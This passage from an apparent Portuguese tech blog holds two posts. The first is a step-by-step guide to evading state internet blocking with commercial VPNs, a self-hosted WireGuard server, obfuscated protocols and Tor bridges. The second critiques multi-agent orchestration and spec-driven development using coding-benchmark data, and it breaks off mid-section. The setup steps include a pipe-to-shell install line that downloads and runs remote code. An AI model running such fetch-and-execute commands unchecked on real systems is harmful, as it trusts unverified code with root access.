Este artigo é a resposta. Não é teoria de conspiração nem exercício de estilo: é um guia prático, do mais fácil ao mais complicado, pra você manter seus canais de comunicação de pé conforme o cerco for fechando. Porque o cerco está fechando, e convém entender o ritmo dele antes de escolher suas ferramentas.

O histórico: nada disso é novo

Quem se surpreendeu com o caso do Discord não estava prestando atenção. O Judiciário brasileiro bloqueia serviços de comunicação há mais de uma década, sempre por cima de milhões de usuários inocentes pra atingir meia dúzia de investigados:

• WhatsApp, 2015 e 2016: bloqueado três vezes por juízes de primeira instância, sempre porque a empresa não entregava conversas que, por desenho, ela não consegue ler.
• Telegram, 2022 e 2023: suspenso por dois dias por ordem de Moraes em março de 2022, e de novo por um juiz federal em 2023. O Migalhas tem a linha do tempo completa.
• X/Twitter, 2024: o marco. Suspensão nacional de 30 de agosto a 8 de outubro, 40 dias, por ordem monocrática. E aqui vem o detalhe que importa pra este guia: a decisão incluía multa de R$ 50 mil por dia pra qualquer pessoa física que acessasse o X por VPN, ordem pras lojas de app removerem aplicativos de VPN (recuou horas depois), e PF e Anatel produzindo relatórios sobre quem burlou o bloqueio pra subsidiar as multas.

Repare no que aconteceu ali: pela primeira vez, usar uma ferramenta neutra de privacidade virou, por si só, conduta punível no Brasil. Ninguém foi multado no fim das contas, mas a infraestrutura pra multar foi montada, testada e documentada. E em 2026 o Congresso votou e o presidente sancionou a majorante de pena pra crimes cometidos com VPN. O precedente do X deixou de ser exceção e virou repertório.

Pra guardar: no caso do X, o Estado brasileiro já tratou usuário de VPN como infrator, já tentou tirar VPN da loja de apps e já pediu relatório de quem burlou. Não é hipótese. É histórico.

O destino final: o modelo chinês

Não me resta dúvida de que gente muito bem posicionada no governo olha pra Grande Muralha da China com inveja, não com horror. E vale entender o que ela é, porque ela define o limite do jogo.

A Muralha não é um “bloqueio de site”. É inspeção profunda de pacotes (DPI) em escala nacional, rodando na espinha dorsal da internet do país: todo tráfego é classificado em tempo real, protocolos de VPN conhecidos são identificados pelo formato do aperto de mão e derrubados, o Tor é bloqueado por padrão, e só VPNs homologadas pelo Estado (ou seja, com porta dos fundos) operam legalmente. Cidadão comum pego usando VPN não autorizada toma multa. E mesmo quando o tráfego não pode ser lido, os metadados entregam o jogo: quem fala com quem, quando, por quanto tempo.

Por isso a resposta honesta pra pergunta “dá pra burlar uma Muralha dessas sem ser notado?” é: não, não pra um cidadão comum. Contra um firewall estatal desse nível, nenhuma ferramenta doméstica te torna invisível. No máximo te torna caro demais pra valer a pena perseguir em massa. Quem te vender invisibilidade total está mentindo.

A boa notícia é que o Brasil não está nem perto desse ponto. Censura não é um interruptor, é uma escada, e cada degrau tem uma defesa correspondente. O resto deste guia é essa escada, degrau por degrau. A lógica de tudo que vem a seguir é uma só: censura é uma questão de custo. Nosso trabalho é deixar o bloqueio caro, tecnicamente e politicamente, até que massificar ele seja impraticável.

Fase 1: VPN comercial, o mínimo que todo mundo deveria ter

Comece pelo óbvio. Uma VPN (rede privada virtual) cria um túnel criptografado entre o seu dispositivo e um servidor do provedor. Seu provedor de internet passa a ver só um fluxo cifrado indo pra um endereço só; os sites que você acessa veem o IP da VPN, não o seu. Eu explico a fundo, com a teoria de redes por baixo, no Akitando 126.

O que uma VPN faz: esconde seu tráfego do provedor de internet, troca seu IP de saída, te tira de bloqueios geográficos e de bloqueios judiciais por DNS/IP. O que ela não faz:

• Não te torna anônimo. O provedor da VPN vê todo o seu tráfego no lugar do seu ISP. Você não eliminou o vigia, só trocou de vigia.
• Não esconde sua identidade se você pagou com cartão. Assinatura com cartão de crédito amarra a conta de VPN ao seu CPF. Se a autoridade chegar com ordem judicial no provedor, seu nome está lá.
• Não protege o conteúdo depois do túnel. Da saída da VPN até o site final vale a criptografia normal da web (HTTPS). A VPN é um trecho do caminho, não o caminho inteiro.

Dito isso, pras fases iniciais do cerco ela resolve. Minhas recomendações, em ordem:

• ProtonVPN: Suíça, fora da jurisdição fácil, código aberto e auditado, política de não guardar registros testada em tribunal, tem plano gratuito decente e aceita pagamento até em dinheiro pelo correio.
• Mullvad: Suécia, a mais paranoica do mercado: não pede nem e-mail, sua conta é um número aleatório. Preço fixo de €5/mês, aceita dinheiro vivo num envelope e criptomoeda. É o mais próximo de “VPN sem identidade” que existe em produto comercial.
• NordVPN e similares funcionam tecnicamente, mas o dinheiro delas vai mais pra marketing do que pra postura de privacidade. Entre as grandes, fico com as duas acima.

O limite dessa fase é conhecido: os IPs de saída das VPNs famosas são públicos e catalogados. Uma ordem da ANPD ou da Anatel pros provedores nacionais bloquearem esses ranges é tecnicamente trivial, e o caso do X mostrou que remover o app da loja também está no cardápio. Quando (não se) isso acontecer, a VPN comercial morre em um dia. Por isso existe a Fase 2.

Pra guardar: VPN comercial é o cinto de segurança: use sempre, mas saiba que ela depende de três coisas fora do seu controle. O app continuar na loja, os IPs continuarem desbloqueados e o provedor continuar honesto.

Fase 2: VPN auto-hospedada, seu próprio túnel

A jogada aqui muda de figura: em vez de assinar um serviço com milhões de usuários e IPs catalogados, você aluga um servidorzinho barato fora do Brasil e monta a sua VPN pessoal. Não existe lista pública do seu IP pra censura baixar. Você é um usuário de um IP desconhecido, indistinguível de qualquer outro tráfego até ser analisado de perto.

Escolha do provedor (e por que não AWS, Azure ou Google Cloud). As nuvens grandes têm faixas de IP (ASNs) enormes, públicas e mapeadas. Bloquear elas inteiras é uma linha numa tabela de roteamento; o freio é só o dano colateral (muita empresa brasileira legítima está lá), e outros países já pagaram esse preço em situações de crise. Provedores menores diluem esse alvo. Opções que eu consideraria, do médio pro pequeno:

Uma máquina de US$ 3 a 5 por mês, com 1 GB de RAM, sobra pra uma VPN pessoal. Ressalva importante: pagar VPS com cartão deixa rastro igual à VPN comercial: seu nome está no cadastro do provedor, e o provedor pode ser compelido judicialmente. Alguns aceitam criptomoeda, o que reduz (não elimina) o rastro. Pra maioria das pessoas, nesta fase, o risco de cadastro é aceitável: você não está se escondendo de uma investigação, está saindo da mira de um bloqueio em massa.

Passo a passo: WireGuard com wg-easy

Vou usar o wg-easy, que empacota o WireGuard (o protocolo de VPN moderno, rápido e auditável) num container Docker com painel web e QR code pra configurar o celular em segundos.

1. Alugue o VPS. Ubuntu 24.04, a menor máquina disponível, região fora do Brasil (Amsterdã, Frankfurt e Helsinque são escolhas clássicas por jurisdição e latência aceitável).

2. Acesse e atualize:

ssh root@SEU_IP
apt update && apt upgrade -y

3. Instale o Docker:

curl -fsSL https://get.docker.com | sh

4. Gere o hash da senha do painel (o wg-easy não aceita senha em texto puro; anote a senha que você escolher):

docker run --rm -it ghcr.io/wg-easy/wg-easy wgpw 'SuaSenhaForteAqui'
# a saída é algo como: PASSWORD_HASH=$2b$12$abc...
# no comando abaixo, duplique cada cifrão: $ vira $$

5. Suba o container:

docker run -d \
  --name=wg-easy \
  -e WG_HOST=SEU_IP \
  -e PASSWORD_HASH='$$2b$$12$$abc...' \
  -v ~/.wg-easy:/etc/wireguard \
  -p 51820:51820/udp \
  -p 51821:51821/tcp \
  --cap-add=NET_ADMIN \
  --sysctl="net.ipv4.conf.all.src_valid_mark=1" \
  --sysctl="net.ipv4.ip_forward=1" \
  --restart unless-stopped \
  ghcr.io/wg-easy/wg-easy

6. Libere o firewall. A porta 51820/UDP é o túnel em si. A 51821/TCP é o painel: não deixe o painel exposto pra internet. O jeito certo é abri-lo só via túnel SSH (ssh -L 51821:localhost:51821 root@SEU_IP e acessar localhost:51821 no navegador), ou liberar 51821 só pra criar seus clientes e fechar em seguida.

7. Crie os clientes. No painel, um clique gera um cliente com QR code. Aponte a câmera do app oficial do WireGuard (Android/iOS) e está pronto. No notebook, baixe o arquivo de configuração e importe no cliente WireGuard.

Pronto: todo o tráfego do seu dispositivo sai pelo seu servidor europeu. Seu provedor brasileiro vê apenas um fluxo cifrado pra um IP qualquer da Alemanha.

E na sua máquina, como usa?

O servidor é metade da história. No seu dispositivo, o ritual é esse:

No celular (Android/iOS): instale o app oficial do WireGuard pela loja (ou pelo F-Droid, no Android). Toque no "+", escolha “Escanear QR code” e aponte pro código que o painel do wg-easy mostrou. Aparece um “túnel” novo na lista: um toque no interruptor e você está dentro. No iOS, ative o “On-Demand” nas configurações do túnel pra ele religar sozinho quando trocar de rede (Wi-Fi pro 4G, por exemplo).

No notebook (Windows/macOS): baixe o cliente oficial do WireGuard pro seu sistema, clique em “Importar túnel de arquivo” e selecione o .conf que você baixou do painel. Um clique em “Ativar” e pronto. Detalhe importante: o cliente oficial tem a opção “Bloquear tráfego fora do túnel” (o kill switch): ligue ela. Se o túnel cair, sua internet para em vez de vazar pelo IP real.

No Linux: copie o .conf pra /etc/wireguard/wg0.conf e suba com sudo wg-quick up wg0 (e sudo systemctl enable wg-quick@wg0 pra subir no boot). Ou importe o arquivo direto no NetworkManager pela interface gráfica, se preferir clicar em vez de digitar.

Conferindo se funcionou: com o túnel ativado, rode curl ifconfig.me no terminal (ou abra ipleak.net no navegador). Tem que aparecer o IP da sua VPS, não o da sua casa. E visite dnsleaktest.com: o DNS também tem que sair pelo túnel. Se aparecer o servidor de DNS do seu provedor de internet, tem vazamento pra corrigir.

Manutenção mínima: ative unattended-upgrades pro sistema se atualizar sozinho, use chave SSH em vez de senha, e não instale mais nada nessa máquina. Superfície pequena, risco pequeno.

E se você travou em algum passo? Uma dica de 2026: você não precisa mais dominar cada comando desse guia. Alugue a VPS, pegue o acesso SSH e entregue pro Claude Code (ou o harness de IA da sua preferência) com um pedido simples tipo “configura o wg-easy nessa máquina, com o painel acessível só por túnel SSH”. Ele executa os comandos, lê os erros e itera até funcionar. O mesmo vale do outro lado: na sua máquina local, dá pra pedir pra ele importar o .conf, subir o wg-quick, ativar no boot e ainda conferir vazamento de DNS no final. Eu faço isso com frequência e funciona muito bem. A barreira técnica desse artigo inteiro, na prática, virou uma conversa.

Erros comuns (e como evitar)

Vejo sempre os mesmos tropeços quando alguém monta a primeira VPN própria. Todos evitáveis:

• Expor o painel do wg-easy pra internet. O erro clássico número um. O painel é a chave do cofre: aberto na 51821, qualquer scan de botnet acha em horas. Túnel SSH sempre, porta aberta nunca.
• Senha fraca ou reciclada no painel e no SSH. A VPN inteira protegida por 123mudar é pior que não ter VPN. E desligue o login SSH por senha de vez (PasswordAuthentication no no sshd_config) depois de configurar sua chave.
• Achar que está anônimo porque o IP é “seu”. A VPS está no seu nome, paga com o seu cartão. Ela te protege de bloqueio em massa, não de investigação com o seu nome nela. Nível de paranoia errado gera falsa sensação de segurança, que é pior que nenhuma.
• VPS no Brasil ou de empresa brasileira. Já vi gente montar “VPN de privacidade” em provedor nacional. Se a ordem judicial chega no mesmo país, você não saiu do alcance, só mudou de prateleira. Servidor fora, jurisdição fora.
• Distribuir acesso pra meio mundo. Cada pessoa extra é um dispositivo a mais, um padrão de uso a mais, uma boca a mais. Família próxima, ok; grupo de 40 contatos, não. Quanto mais gente no mesmo IP, mais rápido ele entra em alguma lista.
• Usar a mesma máquina pra outras coisas. Blog pessoal, bot de Telegram, seedbox: tudo isso aumenta a superfície de ataque e amarra identidades que você queria separadas. VPS da VPN é só da VPN.
• Confiar sem testar vazamento. Depois de configurar, teste: ipleak.net ou dnsleaktest.com com a VPN ligada. Se aparecer seu IP real ou o DNS do seu provedor, algo está errado, e você só descobre assim.
• Instalar e abandonar. Servidor sem atualização por um ano é servidor com vulnerabilidade conhecida. E teste a conexão de tempos em tempos: o que funciona hoje pode estar fingerprintado amanhã.
• Não ter backup da configuração. O diretório ~/.wg-easy guarda tudo (chaves, clientes). Guarde uma cópia criptografada local. Se a VPS morrer ou for desligada pelo provedor, você sobe outra em dez minutos em vez de recomeçar do zero.

Pra guardar: uma VPS de US$ 5 fora do Brasil com WireGuard te tira de qualquer bloqueio em massa por IP catalogado. O preço é o cadastro no provedor: aceitável contra bloqueio, insuficiente contra investigação nominada.

O inimigo invisível: DPI

Até aqui, assumi que o censor bloqueia endereços. O próximo nível dele é bloquear formatos, e é aí que mora a inspeção profunda de pacotes (DPI).

Mesmo criptografado, um túnel de VPN tem assinatura. O aperto de mão inicial do WireGuard e do OpenVPN tem tamanhos de pacote, sequências e tempos característicos. O conteúdo é ilegível, mas o formato grita “eu sou uma VPN”. A China faz exatamente isso em escala nacional: não precisa ler seu tráfego, basta reconhecer o protocolo e derrubar a conexão.

A resposta técnica é ofuscação: fazer o túnel parecer outra coisa.

• AmneziaWG: um fork do WireGuard que injeta pacotes de lixo e embaralha os cabeçalhos até a assinatura sumir. Mesma base auditada do WireGuard, app gratuito pra todas as plataformas, e aponta pro mesmo tipo de VPS da Fase 2. Se você montou wg-easy, migrar pra Amnezia é o passo natural quando o DPI chegar.
• udp2raw: enfia o tráfego UDP do WireGuard dentro de pacotes TCP falsos, que parecem uma conexão comum.
• Shadowsocks: nasceu na China exatamente pra isso, um proxy criptografado desenhado pra não ter assinatura reconhecível.

Repare que ainda estamos falando de ferramentas gratuitas e de uma VPS de US$ 5. O custo sobe pro censor muito mais rápido do que pra você.

Fase 3: quando nem a sua VPS basta

Se o cenário degradar ao ponto de DPI nacional com bloqueio de protocolos, o jogo vira camuflagem pesada e redundância. As opções reais, em ordem de esforço:

Protocolos que se disfarçam de HTTPS comum. O estado da arte hoje é o VLESS com Reality (do projeto Xray-core): seu tráfego se apresenta como uma conexão TLS 1.3 legítima pra um site real e inocente, com certificado, aperto de mão e padrão de pacotes indistinguíveis de um acesso normal. Pra bloquear você, o censor teria que bloquear o site inocente junto, e o dano colateral é a defesa. Trojan-Go segue filosofia parecida. O Outline, da Jigsaw (Google), empacota Shadowsocks com um gerenciador amigável se você quiser distribuir acessos pra família e amigos.

Tor com pontes (bridges). O Tor puro é bloqueado por padrão nos países censurados, mas as pontes obfs4 e o Snowflake foram feitos sob medida pra esse cenário: Snowflake mascara sua entrada na rede Tor como uma videochamada comum de WebRTC. É lento, esquece streaming, mas é a rede mais difícil de extinguir que existe, mantida justamente pra jornalista e ativista em país hostil.

Redundância e rotação. Duas ou três VPS baratas em provedores diferentes, com failover automático. Se uma cair numa lista negra, você troca em minutos: instância nova, IP novo. Seu custo: mais US$ 5. O custo do censor: descobrir e bloquear de novo, toda vez.

Acessos alternativos. Starlink e outros links via satélite saem completamente da infraestrutura terrestre nacional. Enquanto não forem também regulados, são o último recurso físico. E pros casos extremos, a sneakernet de sempre: pendrive, disco externo, cópia física.

Higiene do lado do cliente, que vale em todas as fases:

• Kill switch ligado: se o túnel cai, o dispositivo corta a internet em vez de vazar pelo IP real.
• Proteção contra vazamento de DNS: suas consultas de DNS têm que ir pelo túnel, senão seu provedor continua vendo cada site que você visita.
• WebRTC desligado no navegador (ou use extensão): ele vaza seu IP real mesmo com VPN ativa.
• VPN ligada quando necessário, não sempre: padrão de uso 24/7 vira ele mesmo uma assinatura comportamental.

E as notas honestas de sempre: rodar seu próprio servidor pra uso pessoal é legal; usá-lo pra cometer crime, não. E a partir de 2026, com a nova majorante, “usando VPN” pesa na pena de qualquer crime que você cometeria de qualquer forma. Mantenha a superfície pequena, teste sua conectividade de dentro do Brasil com regularidade (o que funciona hoje pode ser fingerprint amanhã), tenha plano B (uma segunda VPS, um perfil de Tor com pontes) e mantenha cópias offline de tudo que for crítico.

Avaliação realista: nenhuma solução é permanente contra um censor determinado e bem financiado. Não é esse o objetivo. O objetivo é encarecer o bloqueio em massa até ele virar mau negócio, técnica e politicamente. Um país que precisa derrubar metade da internet legítima pra calar meia dúzia de vozes tem um problema de relações públicas, não de tecnologia. É nesse custo que a gente aposta.

Pra guardar: a escada é VPN comercial, depois VPN própria, depois protocolo ofuscado, depois Tor com pontes, depois satélite. Cada degrau sobe pouco o seu custo e muito o do censor. Comece a subir antes de precisar.

Conclusão

O padrão brasileiro é o que eu chamei de censura por acumulado: nenhum degrau isolado parece o fim do mundo, e cada um vem com sua plaquinha de boa intenção. Mas a infraestrutura de bloqueio, uma vez montada, não tem dono moral: serve pro governo de hoje e pro de amanhã, contra o alvo de hoje e contra você.

A infraestrutura de comunicação livre funciona igualzinho: também se constrói por acumulado, também tijolo por tijolo. Uma VPN comercial configurada hoje. Uma VPS sua amanhã. Um protocolo ofuscado na gaveta pra quando precisar. Nada disso é paranoia, é a mesma lógica de fazer backup antes do disco falhar.

E se você quer acompanhar essa fronteira de perto, uma recomendação pessoal: siga o Ayub. É hoje a melhor fonte em português sobre infraestrutura de internet e censura estatal no Brasil. Foi ele quem soou o alarme sobre a criminalização de VPNs no PL 3066/2025 meses antes de virar lei. E nos últimos dias ele está cobrindo duas coisas que a grande imprensa mal tocou: a entrega de mais de R$ 100 bilhões em redes públicas, dutos e imóveis da União pras operadoras e pro BTG Pactual, e o aparato técnico da nova regulamentação do Marco Civil, que segundo ele deu à Anatel acesso remoto aos roteadores de borda dos provedores. Leitura obrigatória pra entender por onde vem o próximo degrau da escada.

A melhor hora de montar o seu túnel era antes de precisar dele. A segunda melhor é agora.

Soltei este tweet hoje de manhã e ele rendeu. O ponto completo: quando a tecnologia em si vira commodity, o dinheiro migra pra taxonomia. Criam cinco nomes novos pra encadear chamada de API e de repente surge uma certificação que expira em seis meses.

Deixa eu sustentar a provocação com calma, porque ela não é implicância gratuita.

Já antecipo o comentário padrão: “mas comigo funciona”. Bom pra você — de verdade. Só que “funciona comigo” nunca provou que a cerimônia é o que fez funcionar. O que fez funcionar foi você saber o que queria. A cerimônia só estava no mesmo ambiente.

O meu recibo

Entre janeiro e maio eu fiz uma maratona de IA e publiquei mais de 30 repositórios públicos. Tem ferramenta que eu uso todo dia — ai-memory, ai-usagebar, ai-jail — e tem app pessoal pra coçar a minha própria coceira: Frank Manga+, Frank Scanlation, Frank Geary, e por aí vai.

Sabe o que eu nunca senti vontade de fazer nesse meio tempo? Complicar meu setup de IA. Não tenho um Pi super customizado, não tenho Hermes, não tenho grafo de agentes orquestrado, não tenho pipeline de specs numeradas. Graças ao ai-memory, eu troco de harness como troco de cueca: todo dia, sem limitação. Claude Code de manhã, Codex à tarde, Kimi CLI de noite — a memória do projeto vai junto, então o harness vira detalhe.

E detalhe é o ponto. A maioria dos harnesses é otimizada pro LLM da própria casa. Mas “otimizado” não quer dizer “mágico”, e eu tenho dados pra isso.

O que o meu benchmark diz sobre harness

No meu LLM Coding Benchmark eu rodo os mesmos modelos em harnesses diferentes, em condições controladas. O resultado é o oposto do que o mercado de cursos sugere:

• Pra modelo fraco, o harness resgata. O Grok 4.3 não construiu nada no OpenCode pelado (18 pontos) e entregou um app de verdade no grok CLI (55). O Gemini 3.1 Pro saiu de 62 pra 88 no harness do Google — mas o problema ali era um bug de transporte do OpenRouter, não falta de “engenharia de harness”.
• Pra modelo de fronteira, o harness é ruído. Grok 4.5: 92 no OpenCode, 91 no grok CLI. Grok 4.6: 92 e 93. Diferença de um ponto, dentro da margem. Nenhuma engenharia de harness move um modelo bom.
• Onde o harness morde de verdade é no bolso. A rodada do Grok 4.6 saiu por $1,19 no grok CLI contra $6,33 no OpenCode via OpenRouter — mais de 5x mais barato pelos mesmos ~11 milhões de tokens, porque o CLI oficial usa o cache nativo da xAI. Mesma história no Codex: o GPT 5.6 Terra custou $6,77 blended porque 21 dos 21,7 milhões de tokens bateram no cache; o Sol, da mesma família e mesma nota, saiu por uns $45.

Ou seja: escolher um harness decente importa — pra custo e pra dar estrutura a modelo fraco. Mas isso é uma tarde lendo documentação e olhando a fatura de tokens, não uma disciplina nova com trilha de aprendizado.

Já que citei o Hermes lá em cima, vale explicar: o Hermes Agent é um framework open source da Nous Research pra você montar o seu agente pessoal — você define as tools, escreve os loops, configura roteamento por modelo, fallback local/nuvem, gateways de Telegram e Discord, e ele ainda “aprende skills” com o uso. É o paraíso de quem monta setup.

Também é um segundo emprego: cada peça dessas vira sua responsabilidade de manter, atualizar e depurar, pra sempre. E no fim das contas o motor continua sendo o mesmo Claude, GPT ou Qwen de todo mundo — o chassi customizado não melhora o motor. O que o Hermes resolve de verdade, continuidade de contexto entre sessões e entre ferramentas, um harness decente com um ai-memory da vida já cobre — sem você virar administrador de infraestrutura do próprio assistente.

Se você quer um assistente no seu hardware por hobby ou por privacidade, é ótimo motivo, vai fundo. Como pré-requisito de produtividade, não é.

Pra guardar: harness bom é o que cobra menos e não atrapalha. O resto é o modelo. E modelo bom não precisa de “harness engineering” — no máximo precisa que o transporte não esteja quebrado.

Loop Engineering, Graph Engineering, Spec-Driven Development

Vamos aos nomes, porque eles descrevem coisas reais — só que minúsculas.

Loop Engineering é o nome da vez pra projetar o ciclo que um agente repete: executa, verifica com evidência, itera até uma condição de parada. Os guias listam modos de falha reais — o agente declarar “pronto” cedo demais, o objetivo ir derivando a cada volta. Só que a mitigação recomendada é “um verificador independente conferindo evidência objetiva”. Isso tem nome faz cinquenta anos: teste e revisão. Um agente num loop com suíte de testes não é uma disciplina nova, é o básico com nome novo.

Graph Engineering é desenhar o workflow do agente como um grafo explícito de nós, ramos e junções — a LangChain tem três anos dessa história. Faz sentido quando o fluxo é genuinamente ramificado. Só que a maioria esmagadora dos projetos não é um grafo: é uma linha reta com um if no meio. Modelar isso como grafo é comprar um quadro branco gigante pra desenhar uma seta.

Spec-Driven Development é escrever uma especificação detalhada primeiro e tratar o código como artefato gerado a partir dela — a spec vira a “source of truth” e o código, subproduto. Guarda esse, que o argumento forte vem já embaixo.

Repare no padrão: cada nome pega uma prática real e pequena — rodar em loop com verificação, desenhar um fluxo, escrever o que você quer antes de fazer — e infla até virar “disciplina”. A inflação é o produto. Nome novo cria curso, curso cria certificação, certificação expira em seis meses e te vende a recertificação.

Pra ser justo: os guias sérios desses temas já trazem a ressalva — o guia de graph engineering mais lido diz na cara que “você provavelmente não precisa” e manda dominar o loop antes de abrir um grafo, e a LangChain tem uma seção inteira de “quando não usar grafos”. O problema não é o guia; é o funil que joga a ressalva fora e vende o resto como default pra todo mundo.

Os dois que mais vendem curso — orquestração pesada de agentes e spec-driven development — merecem mais que definição. Merecem o argumento.

O argumento forte contra a super-orquestração

Tem uma matemática simples que os diagramas de agentes orquestrados nunca mostram. Se cada etapa do seu pipeline acerta 90% das vezes — e isso é otimista —, uma cadeia de dez agentes acerta 0,9^10, ou seja, ~35% das vezes. Cada nó é um ponto novo de falha, e cada aresta é token gasto com agente conversando com agente em vez de trabalhando.

Não precisa acreditar na conta: eu medi isso sem querer no benchmark. O MiniMax M3 rodado debaixo de um orquestrador parecia Tier D, com 24 pontos. O mesmo modelo, limpo, fez 91, Tier A. Uma diferença de até 69 pontos entre condições de harness significa o oposto do que o vendedor de orquestração diz: quando o plumbing domina o resultado, você parou de medir o modelo e passou a medir o encanamento. O melhor resultado de todo o benchmark não veio de nenhum enxame orquestrado: veio de um modelo forte, sozinho, num loop simples — Fable 5, 96 pontos, Claude Code, fim.

Faz sentido quando você lembra que coordenação escala mal. Cada agente a mais não adiciona só capacidade; adiciona arestas, contratos de mensagem, estado compartilhado e versões conflitantes da verdade. O roteador que decide “qual agente cuida disso” vira ao mesmo tempo o gargalo e a fábrica de bugs. Um comitê de agentes medianos com regente não bate um agente capaz com boas ferramentas e memória.

Isso eu já testei diretamente. Em abril eu rodei três rodadas de “modelo forte orquestrando modelo barato” — planner + executor, delegação forçada, o pacote completo. Resultado: nenhuma combinação multi-agente bateu o Opus sozinho num harness maduro. Numa tarefa coesa como construir um app, o planner precisa ler cada output do executor antes de despachar o próximo passo — os dois viram sequenciais, com latência triplicada e uma fila de coordenação no meio. É o comitê de novo: muita conversa, pouco software.

Não é só o meu benchmark. A Cognition, que vende o Devin, publicou o “Don’t Build Multi-Agents” com um mecanismo mais afiado que a minha conta de 90%: toda ação carrega decisões implícitas que os outros agentes não veem — um subagente desenha o fundo estilo Mario, o outro desenha um pássaro incompatível, e nenhuma confiabilidade individual conserta a divergência.

A própria Anthropic, que tem um sistema multi-agente de pesquisa, admite no post de engenharia que multi-agente gasta 15x mais tokens, que coding é um domínio ruim pra isso — a maioria das tarefas de código não é paralelizável de verdade — e que 80% da melhoria deles veio de simplesmente gastar mais tokens, não da arquitetura.

Quando Berkeley mediu o que realmente roda em produção, 86 sistemas em 26 domínios: 68% dos agentes em produção executam no máximo 10 passos antes de intervenção humana. O que existe de verdade por aí é loop simples supervisionado — não a constelação de nós coloridos do diagrama do consultor.

Onde a orquestração é legítima: trabalho genuinamente paralelo e independente — varrer dez mil arquivos, rodar dez mil análises descartáveis. Map-reduce existe faz vinte anos e nunca precisou de nome pomposo. E tem um recanto sério além dele: agente rodando de madrugada, sem ninguém olhando, com credencial na mão — aí verificador independente e orçamento duro viram questão de segurança, não de estilo. Mas isso é operação de frota, não o coding do dia a dia que o curso te vende. Fora desses nichos, a maioria das “arquiteturas multi-agente” é o trabalho de um agente só, com YAML extra.

Tem um motivo pra você ouvir tanto sobre isso: orquestração é complexidade visível. Tem diagrama, tem nó colorido, tem dashboard. Um agente bem dirigido não tem nada disso — não tem slide, não tem certificação, não tem o que vender.

Pra guardar: cada agente a mais multiplica os modos de falha. Se o resultado do seu sistema muda quando você troca o orquestrador, o seu sistema é o orquestrador — e o modelo era figurino.

O argumento forte contra spec-driven development

O SDD parece maduro porque soa como “escrever documentação”. Mas presta atenção no que ele realmente propõe: a spec vira a fonte da verdade e o código vira artefato gerado. O problema é que uma spec precisa o bastante pra gerar código correto já é um programa — só que escrito em prosa, e prosa não compila. Cada ambiguidade da spec é um bug que nenhum compilador pega, num meio sem teste, sem linter, sem feedback. O SDD não remove a parte difícil, que é pensar com precisão; ele move a parte difícil pra um formato onde erro não grita.

Pra guardar: uma spec precisa o bastante pra gerar código correto já é um programa — só que em prosa. E prosa não compila.

Mesmo que você escreva a spec perfeita, ela começa a morrer no primeiro hotfix. O bug aparece em produção, alguém conserta direto no código, e a spec vira mentira. A gente conhece essa lei faz décadas — é por isso que documentação apodrece. Chamar a spec de “fonte da verdade” não muda o incentivo de ninguém.

A gente já fez esse experimento, aliás. UML, MDA, “o código se gera a partir do modelo” — vinte e poucos anos atrás era a mesma promessa com outras siglas. Colapsou sempre pela mesma razão: o modelo nunca era a realidade; o código era. O SDD é o MDA com um LLM pendurado. E não sou só eu que vejo o Waterfall 2.0 ali.

Quem testou as ferramentas com seriedade chegou no mesmo lugar. A Thoughtworks colocou spec-driven development no anel “Assess” do Technology Radar — não “adote”, “avalie” — depois de ver as ferramentas inflarem tarefas pequenas em cerimônia, e cravou a frase que resume: estamos talvez “reaprendendo uma lição amarga: regras detalhadas feitas à mão pra IA simplesmente não escalam”. É a Bitter Lesson do Rich Sutton batendo na porta de novo — estrutura artesanal perde pra escala, sempre perdeu.

Tem ainda a inversão temporal. A grande lição do agile foi que você descobre o que quer construindo — working software over comprehensive documentation. O LLM acabou de deixar a iteração barata como nunca na história. E o que o SDD propõe? Expandir a fase de planejamento, justo agora que iterar ficou barato. Resposta errada, na direção errada, na hora errada.

É a tese que eu venho martelando desde os primeiros posts de Agile Vibe Coding: software emerge, não se planeja. Escrevi isso em fevereiro, com recibo: as features mais importantes do M.Akita Chronicles nasceram de problema que apareceu no meio do caminho — um job que falhou em silêncio, um site que bloqueou a gem, um crash que deixou email em limbo. Nenhum spec do mundo prevê isso. O sistema correto emerge da iteração, não da especificação.

O processo ficou documentado de novo quando o ai-memory cresceu na mão de 26 contribuidores em 24 dias: software bom é escultura de barro, não torre de Lego — maleável, sempre ajustável, nunca pronto. Quem tenta desenhar a arquitetura inteira antes da primeira linha constrói uma camisa de força, não um sistema. Só amador ainda acredita que dá pra especificar o software inteiro antes de codar. Modelagem de verdade não vem de template nem de curso — falei disso anos atrás no Akitando 144: ela nasce de repertório com problema e código reais. Não tem receita pronta; nunca teve.

O SDD tenta ressuscitar a ideia de que dá pra planejar software adiantado — a ideia que a indústria enterrou depois de décadas de projeto entregue atrasado, errado e superfaturado. O LLM não revalidou essa ideia; só deu a ela um PowerPoint novo.

Até quem escreve guia a favor separa as duas coisas: “spec-as-source é onde mora o hype; spec-anchored é onde está o valor hoje”. O meu alvo aqui é o primeiro. Onde a spec pesada é legítima: time grande, codebase legado, trabalho assíncrono que atravessa fuso e sprint — o bom e velho documento de design, que sempre existiu e sempre teve valor. O que não cola é vender isso como o novo default pra todo mundo.

O meu prompt de benchmark, pra constar, é uma página de objetivos. A diferença é que eu não confio na prosa: eu valido rodando. Precisão mora em teste, não em parágrafo.

O que você realmente precisa

Eu já escrevi tudo isso aqui no blog, com recibo de projeto real. Chama Agile Vibe Coding, e cabe num parágrafo:

É XP (eXtreme Programming, o agile raiz) com LLM: testes, Clean Code, CI (integração contínua), pair programming e deploy. Você dirige o agente como dirigiria um pair muito rápido: diz o que quer, acompanha a execução, corrige enquanto o erro é barato. A ideia é 10% do trabalho; os outros 90% são engenharia de software normal, a de sempre. Não precisa de framework nem de template de três páginas — precisa saber o que você quer, saber o que você não quer, e saber validar quando chega. E precisa de equilíbrio: nem largar o volante pro agente, nem virar fiscal de vírgula.

Foram mais de 600 horas disso, mais de meio milhão de linhas, dezenas de projetos no ar. Nenhum grafo, nenhuma certificação, nenhum loop com nome em inglês.

Pra guardar: a ideia é 10% do trabalho; os outros 90% são engenharia de software, a de sempre.

A peça que me deixa trocar de harness: ai-memory

Tem uma ferramenta minha que é o oposto de taxonomia: o ai-memory. Ele nasceu de um problema concreto. Todo harness guarda a sessão no formato dele, e quando a conversa fica longa, ele compacta o histórico pra caber na janela — e a compactação joga fora justamente os detalhes que explicam por que cada decisão foi tomada. Aí você troca de ferramenta e começa do zero, com o projeto inteiro pra reexplicar.

